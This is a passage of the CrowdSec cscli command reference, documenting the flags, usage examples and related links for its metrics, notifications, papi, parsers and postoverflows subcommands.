Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for metrics --no-unit Show the real number instead of formatted with units -u, --url string Prometheus url (http://:/metrics) ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli metrics list](https://docs.crowdsec.net/docs/next/cscli/cscli_metrics_list.md) - List available types of metrics. * [cscli metrics show](https://docs.crowdsec.net/docs/next/cscli/cscli_metrics_show.md) - Display all or part of the available metrics. --- # cscli metrics list ## cscli metrics list[โ€‹](#cscli-metrics-list "Direct link to cscli metrics list") List available types of metrics. ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") List available types of metrics. TEXTCOPY ``` cscli metrics list [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli metrics](https://docs.crowdsec.net/docs/next/cscli/cscli_metrics.md) - Display crowdsec prometheus metrics. --- # cscli metrics show ## cscli metrics show[โ€‹](#cscli-metrics-show "Direct link to cscli metrics show") Display all or part of the available metrics. ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch metrics from a Local API server and display them, optionally filtering on specific types. TEXTCOPY ``` cscli metrics show [type]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Show all Metrics, skip empty tables cscli metrics show # Use an alias: "engine", "lapi" or "appsec" to show a group of metrics cscli metrics show engine # Show some specific metrics, show empty tables, connect to a different url cscli metrics show acquisition parsers scenarios stash --url http://lapi.local:6060/metrics # To list available metric types, use "cscli metrics list" cscli metrics list; cscli metrics list -o json # Show metrics in json format cscli metrics show acquisition parsers scenarios stash -o json ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for show --no-unit Show the real number instead of formatted with units -u, --url string Metrics url (http://:/metrics) ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli metrics](https://docs.crowdsec.net/docs/next/cscli/cscli_metrics.md) - Display crowdsec prometheus metrics. --- # cscli notifications ## cscli notifications[โ€‹](#cscli-notifications "Direct link to cscli notifications") Helper for notification plugin configuration ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") To list/inspect/test notification template TEXTCOPY ``` cscli notifications [action] [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for notifications ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli notifications inspect](https://docs.crowdsec.net/docs/next/cscli/cscli_notifications_inspect.md) - Inspect notifications plugin * [cscli notifications list](https://docs.crowdsec.net/docs/next/cscli/cscli_notifications_list.md) - list notifications plugins * [cscli notifications reinject](https://docs.crowdsec.net/docs/next/cscli/cscli_notifications_reinject.md) - reinject an alert into profiles to trigger notifications * [cscli notifications test](https://docs.crowdsec.net/docs/next/cscli/cscli_notifications_test.md) - send a generic test alert to notification plugin --- # cscli notifications inspect ## cscli notifications inspect[โ€‹](#cscli-notifications-inspect "Direct link to cscli notifications inspect") Inspect notifications plugin ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Inspect notifications plugin and show configuration TEXTCOPY ``` cscli notifications inspect [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli notifications inspect ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for inspect ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli notifications](https://docs.crowdsec.net/docs/next/cscli/cscli_notifications.md) - Helper for notification plugin configuration --- # cscli notifications list ## cscli notifications list[โ€‹](#cscli-notifications-list "Direct link to cscli notifications list") list notifications plugins ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") list notifications plugins and their status (active or not) TEXTCOPY ``` cscli notifications list [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli notifications list ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli notifications](https://docs.crowdsec.net/docs/next/cscli/cscli_notifications.md) - Helper for notification plugin configuration --- # cscli notifications reinject ## cscli notifications reinject[โ€‹](#cscli-notifications-reinject "Direct link to cscli notifications reinject") reinject an alert into profiles to trigger notifications ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") reinject an alert into profiles to be evaluated by the filter and sent to matched notifications plugins TEXTCOPY ``` cscli notifications reinject [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli notifications reinject cscli notifications reinject -a '{"remediation": false,"scenario":"notification/test"}' cscli notifications reinject -a '{"remediation": true,"scenario":"notification/test"}' ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --alert string JSON string used to override alert fields in the reinjected alert (see crowdsec/pkg/models/alert.go in the source tree for the full definition of the object) -h, --help help for reinject ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli notifications](https://docs.crowdsec.net/docs/next/cscli/cscli_notifications.md) - Helper for notification plugin configuration --- # cscli notifications test ## cscli notifications test[โ€‹](#cscli-notifications-test "Direct link to cscli notifications test") send a generic test alert to notification plugin ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") send a generic test alert to a notification plugin even if it is not active in profiles TEXTCOPY ``` cscli notifications test [plugin name] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli notifications test [plugin_name] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --alert string JSON string used to override alert fields in the generic alert (see crowdsec/pkg/models/alert.go in the source tree for the full definition of the object) -h, --help help for test ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli notifications](https://docs.crowdsec.net/docs/next/cscli/cscli_notifications.md) - Helper for notification plugin configuration --- # cscli papi ## cscli papi[โ€‹](#cscli-papi "Direct link to cscli papi") Manage interaction with Polling API (PAPI) TEXTCOPY ``` cscli papi [action] [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for papi ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli papi status](https://docs.crowdsec.net/docs/next/cscli/cscli_papi_status.md) - Get status of the Polling API * [cscli papi sync](https://docs.crowdsec.net/docs/next/cscli/cscli_papi_sync.md) - Sync with the Polling API, pulling all non-expired orders for the instance --- # cscli papi status ## cscli papi status[โ€‹](#cscli-papi-status "Direct link to cscli papi status") Get status of the Polling API TEXTCOPY ``` cscli papi status [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for status ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli papi](https://docs.crowdsec.net/docs/next/cscli/cscli_papi.md) - Manage interaction with Polling API (PAPI) --- # cscli papi sync ## cscli papi sync[โ€‹](#cscli-papi-sync "Direct link to cscli papi sync") Sync with the Polling API, pulling all non-expired orders for the instance TEXTCOPY ``` cscli papi sync [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for sync ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli papi](https://docs.crowdsec.net/docs/next/cscli/cscli_papi.md) - Manage interaction with Polling API (PAPI) --- # cscli parsers ## cscli parsers[โ€‹](#cscli-parsers "Direct link to cscli parsers") Manage hub parsers TEXTCOPY ``` cscli parsers [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli parsers list -a cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs cscli parsers inspect crowdsecurity/caddy-logs crowdsecurity/sshd-logs cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for parsers ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli parsers inspect](https://docs.crowdsec.net/docs/next/cscli/cscli_parsers_inspect.md) - Inspect given parser(s) * [cscli parsers install](https://docs.crowdsec.net/docs/next/cscli/cscli_parsers_install.md) - Install given parser(s) * [cscli parsers list](https://docs.crowdsec.net/docs/next/cscli/cscli_parsers_list.md) - List parser(s) * [cscli parsers remove](https://docs.crowdsec.net/docs/next/cscli/cscli_parsers_remove.md) - Remove given parser(s) * [cscli parsers upgrade](https://docs.crowdsec.net/docs/next/cscli/cscli_parsers_upgrade.md) - Upgrade given parser(s) --- # cscli parsers inspect ## cscli parsers inspect[โ€‹](#cscli-parsers-inspect "Direct link to cscli parsers inspect") Inspect given parser(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Inspect the state of one or more parsers TEXTCOPY ``` cscli parsers inspect [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Display metadata, state and ancestor collections of parsers (installed or not). cscli parsers inspect crowdsecurity/httpd-logs crowdsecurity/sshd-logs # If the parser is installed, its metrics are collected and shown as well (with an error if crowdsec is not running). # To avoid this, use --no-metrics. cscli parsers inspect crowdsecurity/httpd-logs --no-metrics # Display difference between a tainted item and the latest one. cscli parsers inspect crowdsecurity/httpd-logs --diff # Reverse the above diff cscli parsers inspect crowdsecurity/httpd-logs --diff --rev ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --diff Show diff with latest version (for tainted items) -h, --help help for inspect --no-metrics Don't show metrics (when cscli.output=human) --rev Reverse diff output -u, --url string Prometheus url ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli parsers](https://docs.crowdsec.net/docs/next/cscli/cscli_parsers.md) - Manage hub parsers --- # cscli parsers install ## cscli parsers install[โ€‹](#cscli-parsers-install "Direct link to cscli parsers install") Install given parser(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch and install one or more parsers from the hub TEXTCOPY ``` cscli parsers install [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Install some parsers. cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs # Show the execution plan without changing anything - compact output sorted by type and name. cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run -o raw # Download only, to be installed later. cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --download-only # Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs -i cscli parsers install crowdsecurity/caddy-logs crowdsecurity/sshd-logs --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -d, --download-only Only download packages, don't enable --dry-run Don't install or remove anything; print the execution plan --force Force install: overwrite tainted and outdated files -h, --help help for install --ignore Ignore errors when installing multiple parsers -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli parsers](https://docs.crowdsec.net/docs/next/cscli/cscli_parsers.md) - Manage hub parsers --- # cscli parsers list ## cscli parsers list[โ€‹](#cscli-parsers-list "Direct link to cscli parsers list") List parser(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") List of installed/available/specified parsers TEXTCOPY ``` cscli parsers list [item... | -a] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # List enabled (installed) parsers. cscli parsers list # List all available parsers (installed or not). cscli parsers list -a # List specific parsers (installed or not). cscli parsers list crowdsecurity/caddy-logs crowdsecurity/sshd-logs ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all List disabled items as well -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli parsers](https://docs.crowdsec.net/docs/next/cscli/cscli_parsers.md) - Manage hub parsers --- # cscli parsers remove ## cscli parsers remove[โ€‹](#cscli-parsers-remove "Direct link to cscli parsers remove") Remove given parser(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Remove one or more parsers TEXTCOPY ``` cscli parsers remove [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Uninstall some parsers. cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs # Show the execution plan without changing anything - compact output sorted by type and name. cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run -o raw # Uninstall and also remove the downloaded files. cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --purge # Remove tainted items. cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs -i cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --all Remove all the parsers --dry-run Don't install or remove anything; print the execution plan --force Force remove: remove tainted and outdated files -h, --help help for remove -i, --interactive Ask for confirmation before proceeding --purge Delete source file too ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli parsers](https://docs.crowdsec.net/docs/next/cscli/cscli_parsers.md) - Manage hub parsers --- # cscli parsers upgrade ## cscli parsers upgrade[โ€‹](#cscli-parsers-upgrade "Direct link to cscli parsers upgrade") Upgrade given parser(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch and upgrade one or more parsers from the hub TEXTCOPY ``` cscli parsers upgrade [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Upgrade some parsers. If they are not currently installed, they are downloaded but not installed. cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs # Show the execution plan without changing anything - compact output sorted by type and name. cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs --dry-run -o raw # Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs -i cscli parsers upgrade crowdsecurity/caddy-logs crowdsecurity/sshd-logs --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all Upgrade all the parsers --dry-run Don't install or remove anything; print the execution plan --force Force upgrade: overwrite tainted and outdated files -h, --help help for upgrade -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli parsers](https://docs.crowdsec.net/docs/next/cscli/cscli_parsers.md) - Manage hub parsers --- # cscli postoverflows ## cscli postoverflows[โ€‹](#cscli-postoverflows "Direct link to cscli postoverflows") Manage hub postoverflows TEXTCOPY ``` cscli postoverflows [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli postoverflows list -a cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns cscli postoverflows inspect crowdsecurity/cdn-whitelist crowdsecurity/rdns cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdns cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for postoverflows ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli postoverflows inspect](https://docs.crowdsec.net/docs/next/cscli/cscli_postoverflows_inspect.md) - Inspect given postoverflow(s) * [cscli postoverflows install](https://docs.crowdsec.net/docs/next/cscli/cscli_postoverflows_install.md) - Install given postoverflow(s) * [cscli postoverflows list](https://docs.crowdsec.net/docs/next/cscli/cscli_postoverflows_list.md) - List postoverflow(s) * [cscli postoverflows remove](https://docs.crowdsec.net/docs/next/cscli/cscli_postoverflows_remove.md) - Remove given postoverflow(s) * [cscli postoverflows upgrade](https://docs.crowdsec.net/docs/next/cscli/cscli_postoverflows_upgrade.md) - Upgrade given postoverflow(s) --- # cscli postoverflows inspect ## cscli postoverflows inspect[โ€‹](#cscli-postoverflows-inspect "Direct link to cscli postoverflows inspect") Inspect given postoverflow(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Inspect the state of one or more postoverflows TEXTCOPY ``` cscli postoverflows inspect [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Display metadata, state and ancestor collections of postoverflows (installed or not). cscli postoverflows inspect crowdsecurity/cdn-whitelist # Display difference between a tainted item and the latest one. cscli postoverflows inspect crowdsecurity/cdn-whitelist --diff # Reverse the above diff cscli postoverflows inspect crowdsecurity/cdn-whitelist --diff --rev ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --diff Show diff with latest version (for tainted items) -h, --help help for inspect --no-metrics Don't show metrics (when cscli.output=human) --rev Reverse diff output -u, --url string Prometheus url ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli postoverflows](https://docs.crowdsec.net/docs/next/cscli/cscli_postoverflows.md) - Manage hub postoverflows --- # cscli postoverflows install ## cscli postoverflows install[โ€‹](#cscli-postoverflows-install "Direct link to cscli postoverflows install") Install given postoverflow(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch and install one or more postoverflows from the hub TEXTCOPY ``` cscli postoverflows install [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Install some postoverflows. cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns # Show the execution plan without changing anything - compact output sorted by type and name. cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --dry-run -o raw # Download only, to be installed later. cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --download-only # Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns -i cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -d, --download-only Only download packages, don't enable --dry-run Don't install or remove anything; print the execution plan --force Force install: overwrite tainted and outdated files -h, --help help for install --ignore Ignore errors when installing multiple postoverflows -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli postoverflows](https://docs.crowdsec.net/docs/next/cscli/cscli_postoverflows.md) - Manage hub postoverflows --- # cscli postoverflows list ## cscli postoverflows list[โ€‹](#cscli-postoverflows-list "Direct link to cscli postoverflows list") List postoverflow(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") List of installed/available/specified postoverflows TEXTCOPY ``` cscli postoverflows list [item... | -a] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # List enabled (installed) postoverflows. cscli postoverflows list # List all available postoverflows (installed or not). cscli postoverflows list -a # List specific postoverflows (installed or not). cscli postoverflows list crowdsecurity/cdn-whitelists crowdsecurity/rdns ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all List disabled items as well -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli postoverflows](https://docs.crowdsec.net/docs/next/cscli/cscli_postoverflows.md) - Manage hub postoverflows --- # cscli postoverflows remove ## cscli postoverflows remove[โ€‹](#cscli-postoverflows-remove "Direct link to cscli postoverflows remove") Remove given postoverflow(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Remove one or more postoverflows TEXTCOPY ``` cscli postoverflows remove [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Uninstall some postoverflows. cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns # Show the execution plan without changing anything - compact output sorted by type and name. cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --dry-run -o raw # Uninstall and also remove the downloaded files. cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --purge # Remove tainted items. cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns -i cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --all Remove all the postoverflows --dry-run Don't install or remove anything; print the execution plan --force Force remove: remove tainted and outdated files -h, --help help for remove -i, --interactive Ask for confirmation before proceeding --purge Delete source file too ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string 